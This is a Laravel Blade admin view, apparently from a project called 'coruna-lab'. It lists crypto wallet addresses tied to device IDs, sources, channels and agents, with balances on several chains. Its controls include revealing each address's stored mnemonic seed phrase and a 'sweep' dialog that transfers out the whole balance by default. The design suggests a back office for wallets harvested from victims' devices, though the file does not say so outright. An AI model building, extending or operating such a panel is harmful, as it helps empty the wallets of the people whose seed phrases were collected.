Files
coruna-lab/resources/views/admin/addresses/index.blade.php
T
2026-10-01 00:59:34 +08:00

417 lines
16 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
@extends('admin.content')
@section('title', '钱包地址')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<style>
.addr-chain-tag {
display: inline-block;
padding: 0 8px;
line-height: 20px;
border-radius: 2px;
font-size: 12px;
color: #fff;
}
.addr-chain-eth, .addr-chain-ethereum, .addr-chain-evm { background: #627eea; }
.addr-chain-btc, .addr-chain-bitcoin { background: #f7931a; }
.addr-chain-trx, .addr-chain-tron { background: #ff0013; }
.addr-chain-bnb, .addr-chain-bsc, .addr-chain-binance { background: #f3ba2f; color: #333; }
.addr-chain-sol, .addr-chain-solana { background: #9945ff; }
.addr-chain-ton { background: #0098ea; }
.addr-chain-unknown, .addr-chain-unkno { background: #909399; }
.addr-monitor-on { color: #16b777; font-weight: 600; }
.addr-monitor-off { color: #ff5722; font-weight: 600; }
.addr-cell { font-family: Menlo, Monaco, Consolas, monospace; font-size: 12px; }
.addr-cell-row {
display: flex;
align-items: center;
gap: 8px;
min-width: 0;
}
.addr-cell-row .addr-text {
flex: 1 1 auto;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.addr-cell-row .addr-explorer {
flex: 0 0 auto;
font-family: inherit;
white-space: nowrap;
}
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-addr-search">
<div class="layui-form-item">
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">地址</label>
<div class="layui-input-block">
<input type="text" name="address" class="layui-input" placeholder="钱包地址" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">来源</label>
<div class="layui-input-block">
<select name="source">
<option value="">全部</option>
@foreach ($sources as $s)
<option value="{{ $s }}">{{ $s }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">链</label>
<div class="layui-input-block">
<select name="chain_type">
<option value="">全部</option>
@foreach ($chainTypes as $ct)
<option value="{{ $ct }}">{{ $ct }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">监听开关</label>
<div class="layui-input-block">
<select name="monitor">
<option value="">全部</option>
<option value="1">开</option>
<option value="0">关</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">已同步</label>
<div class="layui-input-block">
<select name="monitor_synced">
<option value="">全部</option>
<option value="1">是</option>
<option value="0">否</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">USDT</label>
<div class="layui-input-block">
<select name="has_usdt">
<option value="">全部</option>
<option value="1">有余额</option>
<option value="0">无余额</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">助记词</label>
<div class="layui-input-block">
<select name="has_mnemonic">
<option value="">全部</option>
<option value="1">有</option>
<option value="0">无</option>
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">余额</label>
<div class="layui-input-block">
<select name="has_balance">
<option value="">全部</option>
<option value="1">有余额</option>
<option value="0">无余额</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-addr-search">搜索</button>
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-addr-list" lay-filter="LAY-addr-list"></table>
<script type="text/html" id="LAY-addr-ops">
@if(!empty($can_reveal))
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看助记词</a>
@endif
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="sweep">归集</a>
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
</div>
@endsection
@push('scripts')
@include('admin.partials.mnemonic_reveal')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
var updateBase = @json(url('/'.$portal.'/addresses'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
var revealMnemonic = window.CorunaMnemonicReveal({
token: token,
google_bound: @json(!empty($google_bound)),
security_url: @json($google2fa_url ?? '')
});
function chainTag(chain) {
var raw = String(chain || 'UNKNOWN');
var key = raw.toLowerCase().replace(/[^a-z0-9]+/g, '');
var cls = 'addr-chain-tag addr-chain-' + (key || 'unknown');
return '<span class="' + cls + '">' + raw + '</span>';
}
function explorerUrl(chain, address) {
var addr = String(address || '').trim();
if (!addr) return '';
var c = String(chain || '').trim().toUpperCase();
if (c === 'TRON' || c === 'TRX') return 'https://tronscan.org/#/address/' + encodeURIComponent(addr);
if (c === 'ETH' || c === 'ETHEREUM' || c === 'EVM') return 'https://etherscan.io/address/' + encodeURIComponent(addr);
if (c === 'BSC' || c === 'BNB' || c === 'BINANCE') return 'https://bscscan.com/address/' + encodeURIComponent(addr);
if (c === 'BTC' || c === 'BITCOIN') return 'https://mempool.space/address/' + encodeURIComponent(addr);
if (c === 'SOL' || c === 'SOLANA') return 'https://solscan.io/account/' + encodeURIComponent(addr);
return '';
}
function escHtml(s) {
return String(s == null ? '' : s)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
function addressCellHtml(d) {
var addr = d.address || '';
var url = explorerUrl(d.chain_type, addr);
var html = '<div class="addr-cell addr-cell-row">';
html += '<span class="addr-text" title="' + escHtml(addr) + '">' + escHtml(addr) + '</span>';
if (url) {
html += '<a class="layui-btn layui-btn-primary layui-btn-xs addr-explorer" href="' + escHtml(url) +
'" target="_blank" rel="noopener noreferrer">链上查询</a>';
}
html += '</div>';
return html;
}
function assetsForRow(d) {
var type = String(d.chain_type || '').toUpperCase();
var addr = String(d.address || '');
if (type.indexOf('TRON') >= 0 || type === 'TRX' || /^T[1-9A-HJ-NP-Za-km-z]{33}$/.test(addr)) {
return ['USDT', 'TRX'];
}
if (type.indexOf('BSC') >= 0 || type.indexOf('BNB') >= 0 || type.indexOf('BINANCE') >= 0) {
return ['BNB', 'USDT'];
}
if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) {
return ['ETH', 'USDT', 'BNB'];
}
if (type.indexOf('BTC') >= 0 || type.indexOf('BITCOIN') >= 0) {
return ['BTC'];
}
return [];
}
function balanceHint(d, asset) {
var key = String(asset || '').toLowerCase();
var val = d[key];
if (val === undefined || val === null || val === '') return '—';
return String(val);
}
function openSweep(d) {
var assets = assetsForRow(d);
if (!assets.length) {
return layer.msg('该地址链类型不支持归集');
}
var options = assets.map(function (a, i) {
return '<option value="' + a + '"' + (i === 0 ? ' selected' : '') + '>' + a + '</option>';
}).join('');
var defaultAsset = assets[0];
layer.open({
type: 1,
title: '归集 — #' + d.id,
area: ['460px', '360px'],
content:
'<form class="layui-form" style="padding:16px 20px 0;" id="LAY-addr-sweep-form" lay-filter="LAY-addr-sweep-form">' +
'<div class="layui-form-item"><label class="layui-form-label">地址</label>' +
'<div class="layui-input-block"><div class="layui-form-mid addr-cell" style="width:100%;padding:0!important;">' + (d.address || '') + '</div></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">链</label>' +
'<div class="layui-input-block"><div class="layui-form-mid" style="padding:0!important;">' + chainTag(d.chain_type) + '</div></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">币种</label>' +
'<div class="layui-input-block"><select name="asset" lay-filter="LAY-addr-sweep-asset">' + options + '</select></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">金额</label>' +
'<div class="layui-input-block">' +
'<input type="text" name="amount" class="layui-input" placeholder="全部(留空即转出全部余额)" autocomplete="off">' +
'<div class="layui-form-mid layui-word-aux" id="LAY-addr-sweep-balance" style="padding:4px 0 0!important;">当前余额:' + balanceHint(d, defaultAsset) + ' ' + defaultAsset + '</div>' +
'</div></div>' +
'</form>',
success: function () {
form.render('select');
form.on('select(LAY-addr-sweep-asset)', function (data) {
var asset = data.value;
$('#LAY-addr-sweep-balance').text('当前余额:' + balanceHint(d, asset) + ' ' + asset);
});
},
btn: ['确认归集', '取消'],
yes: function (index) {
var asset = $('#LAY-addr-sweep-form select[name=asset]').val();
var amount = $.trim($('#LAY-addr-sweep-form input[name=amount]').val() || '');
var label = amount ? (amount + ' ' + asset) : ('全部 ' + asset);
layer.confirm('确认归集 ' + label + ' ?', { icon: 3, title: '确认' }, function (confirmIndex) {
layer.close(confirmIndex);
var loading = layer.load(2);
$.ajax({
url: updateBase + '/' + d.id + '/sweep',
method: 'POST',
data: { asset: asset, amount: amount, _token: token },
success: function (res) {
layer.close(loading);
if (res.code !== 0) return layer.msg(res.msg || '归集失败');
layer.close(index);
var txid = (res.data && res.data.txid) ? res.data.txid : '';
layer.msg(txid ? ('归集成功:' + txid) : '归集成功', { time: 4000 });
table.reload('LAY-addr-list');
},
error: function (xhr) {
layer.close(loading);
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '归集失败');
}
});
});
}
});
}
table.render({
elem: '#LAY-addr-list',
id: 'LAY-addr-list',
url: @json(route($portal.'.addresses.data')),
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'source', title: '来源', width: 120 },
{ field: 'device_key', title: '设备 ID', width: 150, sort: true },
{ field: 'address', title: '地址', minWidth: 420, templet: addressCellHtml },
{ field: 'chain_type', title: 'Chain', width: 110, templet: function (d) {
return chainTag(d.chain_type);
}},
{ field: 'collectable', title: '可归集', width: 90, sort: true, templet: function (d) {
return d.collectable ? '<span class="addr-monitor-on">可归集</span>' : '—';
}},
{ field: 'usdt', title: 'USDT', width: 100, sort: true },
{ field: 'trx', title: 'TRX', width: 100, sort: true },
{ field: 'eth', title: 'ETH', width: 100, sort: true },
{ field: 'btc', title: 'BTC', width: 110, sort: true },
{ field: 'bnb', title: 'BNB', width: 100, sort: true },
{ field: 'sol', title: 'SOL', width: 100, sort: true },
{ field: 'channel_id', title: '渠道 ID', width: 140 },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ field: 'monitor_failures', title: '失败次数', width: 90, templet: function (d) {
if (Number(d.monitor) !== 1 || d.monitor_synced) { return '—'; }
var f = Number(d.monitor_failures) || 0;
if (f === 0) { return '0'; }
return '<span class="addr-monitor-off">' + f + '</span>';
}},
{ field: 'monitor_synced', title: '已同步', width: 90, fixed: 'right', templet: function (d) {
if (Number(d.monitor) !== 1) { return '—'; }
return d.monitor_synced
? '<span class="addr-monitor-on">是</span>'
: '<span class="addr-monitor-off">否</span>';
}},
{ field: 'monitor', title: '监听开关', width: 90, fixed: 'right', templet: function (d) {
return Number(d.monitor) === 1
? '<span class="addr-monitor-on">开</span>'
: '<span class="addr-monitor-off">关</span>';
}},
{ title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-addr-search)', function (data) {
table.reload('LAY-addr-list', { where: data.field, page: { curr: 1 } });
return false;
});
function openDeviceTab(url, title) {
try {
if (parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(url, title);
return;
}
} catch (e) {}
location.href = url;
}
table.on('tool(LAY-addr-list)', function (obj) {
var d = obj.data;
if (obj.event === 'reveal') {
revealMnemonic(d);
return;
}
if (obj.event === 'detail') {
openDeviceTab(d.detail_url, '设备 ' + (d.device_key || ('#' + d.id)));
return;
}
if (obj.event === 'sweep') {
openSweep(d);
return;
}
if (obj.event !== 'edit') return;
layer.open({
type: 1,
title: '编辑监听 — #' + d.id,
area: ['420px', '260px'],
content:
'<form class="layui-form" style="padding:16px;" id="LAY-addr-edit-form">' +
'<div class="layui-form-item"><label class="layui-form-label">地址</label>' +
'<div class="layui-input-block"><div class="layui-form-mid addr-cell" style="width:100%;">' + (d.address || '') + '</div></div></div>' +
'<div class="layui-form-item"><label class="layui-form-label">监听</label>' +
'<div class="layui-input-block" style="padding-top:8px;">' +
'<input type="checkbox" name="monitor" lay-skin="switch" lay-text="开|关" value="1"' +
(Number(d.monitor) === 1 ? ' checked' : '') + '>' +
'</div></div>' +
'</form>',
success: function () {
form.render('checkbox');
},
btn: ['保存', '取消'],
yes: function (index) {
var monitor = $('#LAY-addr-edit-form input[name=monitor]').prop('checked') ? 1 : 0;
$.ajax({
url: updateBase + '/' + d.id,
method: 'POST',
data: { monitor: monitor, _method: 'PUT', _token: token },
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index);
layer.msg('已保存');
table.reload('LAY-addr-list');
},
error: function (xhr) {
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '保存失败');
}
});
}
});
});
});
</script>
@endpush